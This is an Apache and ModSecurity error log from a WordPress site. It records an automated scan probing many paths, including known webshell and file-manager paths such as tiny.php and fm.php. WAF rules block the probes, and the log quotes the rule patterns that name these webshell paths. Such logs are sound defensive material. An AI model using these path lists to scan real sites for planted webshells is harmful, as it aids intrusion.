[Fri Feb 27 11:09:36.576484 2026] [proxy_fcgi:error] [pid 54102:tid 54154] [client 64.64.108.15:61335] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:37.644458 2026] [proxy_fcgi:error] [pid 54102:tid 54152] [client 64.64.108.15:61335] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:38.254473 2026] [proxy_fcgi:error] [pid 54102:tid 54146] [client 64.64.108.15:61335] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:39.405917 2026] [proxy_fcgi:error] [pid 54102:tid 54164] [client 64.64.108.15:61335] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:39.869518 2026] [proxy_fcgi:error] [pid 54102:tid 54165] [client 64.64.108.15:61335] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:40.449098 2026] [:error] [pid 54102:tid 54154] [client 64.64.108.15:61335] [client 64.64.108.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aaEK9Hi74D4fiYUm_GcD9gAAAIo"]
[Fri Feb 27 11:09:41.476257 2026] [:error] [pid 56075:tid 56082] [client 64.64.108.27:64253] [client 64.64.108.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/about.php"] [unique_id "aaEK9cKBhrfI6KNv9Rh-vgAAAAU"]
[Fri Feb 27 11:09:42.422505 2026] [proxy_fcgi:error] [pid 54102:tid 54169] [client 64.64.108.21:45561] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:42.972491 2026] [proxy_fcgi:error] [pid 54102:tid 54165] [client 64.64.108.21:45561] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:43.472511 2026] [proxy_fcgi:error] [pid 54102:tid 54159] [client 64.64.108.21:45561] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:44.544967 2026] [proxy_fcgi:error] [pid 54102:tid 54155] [client 64.64.108.21:45561] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:50.148054 2026] [:error] [pid 54102:tid 54144] [client 64.64.108.21:45561] [client 64.64.108.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aaEK_ni74D4fiYUm_GcEUwAAAIA"]
[Fri Feb 27 11:09:51.090508 2026] [proxy_fcgi:error] [pid 54102:tid 54164] [client 64.64.108.21:23927] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:51.556500 2026] [proxy_fcgi:error] [pid 54102:tid 54144] [client 64.64.108.21:23927] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:52.670205 2026] [:error] [pid 54102:tid 54166] [client 64.64.108.21:23927] [client 64.64.108.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaELAHi74D4fiYUm_GcEawAAAJY"]
[Fri Feb 27 11:09:56.977618 2026] [:error] [pid 54102:tid 54155] [client 64.64.108.27:20875] [client 64.64.108.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aaELBHi74D4fiYUm_GcEiQAAAIs"]
[Fri Feb 27 11:09:58.007472 2026] [proxy_fcgi:error] [pid 62998:tid 63004] [client 64.64.108.29:63953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:58.451309 2026] [:error] [pid 62998:tid 63008] [client 64.64.108.29:63953] [client 64.64.108.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaELBlQeueXZDUmoLolQ6gAAAQY"]
[Fri Feb 27 11:10:01.382487 2026] [proxy_fcgi:error] [pid 49306:tid 49331] [client 64.64.108.16:55759] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:02.554497 2026] [proxy_fcgi:error] [pid 49306:tid 49320] [client 64.64.108.16:55759] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:03.254494 2026] [:error] [pid 49306:tid 49331] [client 64.64.108.16:55759] [client 64.64.108.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aaELC_nSUDZue59Px9tiGAAAAVc"]
[Fri Feb 27 11:10:04.092476 2026] [:error] [pid 62998:tid 63020] [client 64.64.108.63:28493] [client 64.64.108.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaELDFQeueXZDUmoLolRVwAAARI"]
[Fri Feb 27 11:10:05.093045 2026] [:error] [pid 49306:tid 49330] [client 64.64.108.44:26779] [client 64.64.108.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.44, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aaELDfnSUDZue59Px9tiRwAAAVY"]
[Fri Feb 27 11:10:05.759571 2026] [proxy_fcgi:error] [pid 49306:tid 49314] [client 64.64.108.44:26779] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:11.776410 2026] [:error] [pid 49306:tid 49312] [client 64.64.108.44:26779] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aaELE_nSUDZue59Px9ti7wAAAUQ"]
[Fri Feb 27 11:10:12.875458 2026] [proxy_fcgi:error] [pid 62998:tid 63023] [client 64.64.108.60:64685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:14.044715 2026] [proxy_fcgi:error] [pid 62998:tid 63012] [client 64.64.108.60:64685] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:16.244147 2026] [:error] [pid 62998:tid 63013] [client 64.64.108.60:64685] [client 64.64.108.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aaELGFQeueXZDUmoLolSQgAAAQs"]
[Fri Feb 27 11:10:17.284463 2026] [proxy_fcgi:error] [pid 54231:tid 54244] [client 64.64.108.46:20293] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:18.435086 2026] [:error] [pid 54231:tid 54243] [client 64.64.108.46:20293] [client 64.64.108.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aaELGuTvb5AeyJCdY7BtMQAAAEk"]
[Fri Feb 27 11:10:19.386838 2026] [:error] [pid 56075:tid 56086] [client 64.64.108.40:46313] [client 64.64.108.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/xmrlpc.php"] [unique_id "aaELG8KBhrfI6KNv9RiACwAAAAk"]
[Fri Feb 27 11:10:20.491293 2026] [:error] [pid 62998:tid 63008] [client 64.64.108.40:29185] [client 64.64.108.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/xmrlpc.php"] [unique_id "aaELHFQeueXZDUmoLolSegAAAQY"]
[Fri Feb 27 11:10:21.872454 2026] [proxy_fcgi:error] [pid 52073:tid 52099] [client 64.64.108.43:51949] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:22.366068 2026] [:error] [pid 52073:tid 52080] [client 64.64.108.43:51949] [client 64.64.108.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aaELHoa650YPyxXVeRZZVwAAAYQ"]
[Fri Feb 27 11:10:24.651731 2026] [proxy_fcgi:error] [pid 54102:tid 54148] [client 64.64.108.20:45535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:25.662928 2026] [:error] [pid 54102:tid 54147] [client 64.64.108.20:45535] [client 64.64.108.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.20, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aaELIXi74D4fiYUm_GcFmQAAAIM"]
[Fri Feb 27 11:10:27.248107 2026] [:error] [pid 54102:tid 54162] [client 64.64.108.20:45535] [client 64.64.108.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aaELI3i74D4fiYUm_GcFrQAAAJI"]
[Fri Feb 27 11:10:28.290714 2026] [:error] [pid 54103:tid 54178] [client 64.64.108.21:40055] [client 64.64.108.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaELJOvG4MPCmE0B2sAoowAAAMc"]
[Fri Feb 27 11:10:30.872462 2026] [proxy_fcgi:error] [pid 49306:tid 49316] [client 64.64.108.24:36849] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:31.480480 2026] [proxy_fcgi:error] [pid 49306:tid 49326] [client 64.64.108.24:36849] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:33.074565 2026] [proxy_fcgi:error] [pid 49306:tid 49322] [client 64.64.108.24:36849] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:34.169434 2026] [proxy_fcgi:error] [pid 49306:tid 49329] [client 64.64.108.24:36849] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:34.779446 2026] [proxy_fcgi:error] [pid 49306:tid 49324] [client 64.64.108.24:36849] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:35.947152 2026] [:error] [pid 49306:tid 49322] [client 64.64.108.24:36849] [client 64.64.108.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aaELK_nSUDZue59Px9tkvQAAAU4"]
[Fri Feb 27 11:10:38.165869 2026] [:error] [pid 62998:tid 63023] [client 64.64.108.45:27107] [client 64.64.108.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aaELLlQeueXZDUmoLolTlQAAARU"]
[Fri Feb 27 11:10:39.185149 2026] [:error] [pid 56075:tid 56100] [client 64.64.108.53:63607] [client 64.64.108.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aaELL8KBhrfI6KNv9RiBHwAAABY"]
[Fri Feb 27 11:10:40.176220 2026] [:error] [pid 54103:tid 54176] [client 64.64.108.35:48109] [client 64.64.108.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aaELMOvG4MPCmE0B2sApFQAAAMU"]
[Fri Feb 27 11:10:41.327222 2026] [:error] [pid 54101:tid 54109] [client 64.64.108.54:44979] [client 64.64.108.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaELMVY5qgRktcYTGFvirQAAAcE"]
[Fri Feb 27 11:10:42.952458 2026] [autoindex:error] [pid 54231:tid 54250] [client 64.64.108.15:22525] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 11:10:44.648915 2026] [proxy_fcgi:error] [pid 54231:tid 54234] [client 64.64.108.15:22525] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:45.260724 2026] [:error] [pid 54231:tid 54244] [client 64.64.108.15:22525] [client 64.64.108.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aaELNeTvb5AeyJCdY7BuGgAAAEo"]
[Fri Feb 27 11:10:46.299470 2026] [proxy_fcgi:error] [pid 56075:tid 56096] [client 64.64.108.60:38023] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:47.096453 2026] [proxy_fcgi:error] [pid 56075:tid 56078] [client 64.64.108.60:38023] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:47.756589 2026] [proxy_fcgi:error] [pid 56075:tid 56093] [client 64.64.108.60:38023] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:48.289732 2026] [:error] [pid 56075:tid 56091] [client 64.64.108.60:38023] [client 64.64.108.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaELOMKBhrfI6KNv9RiBYAAAAA0"]
[Fri Feb 27 11:10:49.515449 2026] [proxy_fcgi:error] [pid 54103:tid 54190] [client 64.64.108.27:62813] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:50.129447 2026] [proxy_fcgi:error] [pid 54103:tid 54181] [client 64.64.108.27:62813] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:50.547349 2026] [:error] [pid 54103:tid 54185] [client 64.64.108.27:62813] [client 64.64.108.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaELOuvG4MPCmE0B2sApiAAAAM4"]
[Fri Feb 27 11:10:51.683472 2026] [proxy_fcgi:error] [pid 54102:tid 54144] [client 64.64.108.29:31219] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:10:52.255004 2026] [:error] [pid 54102:tid 54148] [client 64.64.108.29:31219] [client 64.64.108.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aaELPHi74D4fiYUm_GcGwAAAAIQ"]
[Fri Feb 27 11:10:59.450218 2026] [:error] [pid 54101:tid 54110] [client 64.64.108.21:56461] [client 64.64.108.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aaELQ1Y5qgRktcYTGFvjcwAAAcI"]
[Fri Feb 27 11:11:00.481954 2026] [:error] [pid 54102:tid 54159] [client 64.64.108.66:22559] [client 64.64.108.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aaELRHi74D4fiYUm_GcHDgAAAI8"]
[Fri Feb 27 11:11:02.343022 2026] [:error] [pid 54231:tid 54242] [client 64.64.108.27:26933] [client 64.64.108.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aaELRuTvb5AeyJCdY7BuggAAAEg"]
[Fri Feb 27 11:11:03.583478 2026] [proxy_fcgi:error] [pid 54101:tid 54112] [client 64.64.108.17:34303] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:04.756046 2026] [proxy_fcgi:error] [pid 54101:tid 54118] [client 64.64.108.17:34303] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:05.354951 2026] [:error] [pid 54101:tid 54130] [client 64.64.108.17:34303] [client 64.64.108.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.17, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aaELSVY5qgRktcYTGFvjmQAAAdY"]
[Fri Feb 27 11:11:05.381593 2026] [proxy_fcgi:error] [pid 54101:tid 54130] [client 64.64.108.17:34303] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:06.346352 2026] [:error] [pid 54101:tid 54113] [client 64.64.108.17:34303] [client 64.64.108.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aaELSlY5qgRktcYTGFvjqAAAAcU"]
[Fri Feb 27 11:11:07.289824 2026] [:error] [pid 56075:tid 56095] [client 64.64.108.18:37969] [client 64.64.108.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaELS8KBhrfI6KNv9RiB1QAAABE"]
[Fri Feb 27 11:11:08.383547 2026] [proxy_fcgi:error] [pid 54101:tid 54121] [client 64.64.108.26:57433] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:08.942938 2026] [proxy_fcgi:error] [pid 54101:tid 54126] [client 64.64.108.26:57433] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:11.154420 2026] [proxy_fcgi:error] [pid 54101:tid 54110] [client 64.64.108.26:57433] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:12.867919 2026] [:error] [pid 54101:tid 54121] [client 64.64.108.26:57433] [client 64.64.108.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.26, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aaELUFY5qgRktcYTGFvj9QAAAc0"]
[Fri Feb 27 11:11:13.432604 2026] [:error] [pid 54101:tid 54127] [client 64.64.108.26:57433] [client 64.64.108.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aaELUVY5qgRktcYTGFvj_gAAAdM"]
[Fri Feb 27 11:11:14.581375 2026] [:error] [pid 62998:tid 63019] [client 64.64.108.66:24193] [client 64.64.108.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aaELUlQeueXZDUmoLolWoAAAARE"]
[Fri Feb 27 11:11:15.590864 2026] [:error] [pid 56075:tid 56102] [client 64.64.108.44:31621] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aaELU8KBhrfI6KNv9RiCLQAAABg"]
[Fri Feb 27 11:11:16.773362 2026] [:error] [pid 54101:tid 54117] [client 64.64.108.41:62519] [client 64.64.108.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-help/admin/wp-fclass.php"] [unique_id "aaELVFY5qgRktcYTGFvkHQAAAck"]
[Fri Feb 27 11:11:19.450471 2026] [proxy_fcgi:error] [pid 54231:tid 54251] [client 64.64.108.44:61869] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:19.946925 2026] [:error] [pid 54231:tid 54245] [client 64.64.108.44:61869] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aaELV-Tvb5AeyJCdY7BvOAAAAEs"]
[Fri Feb 27 11:11:20.895479 2026] [proxy_fcgi:error] [pid 62998:tid 63016] [client 64.64.108.55:61781] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:21.469462 2026] [proxy_fcgi:error] [pid 62998:tid 63013] [client 64.64.108.55:61781] AH01071: Got error 'Primary script unknown'
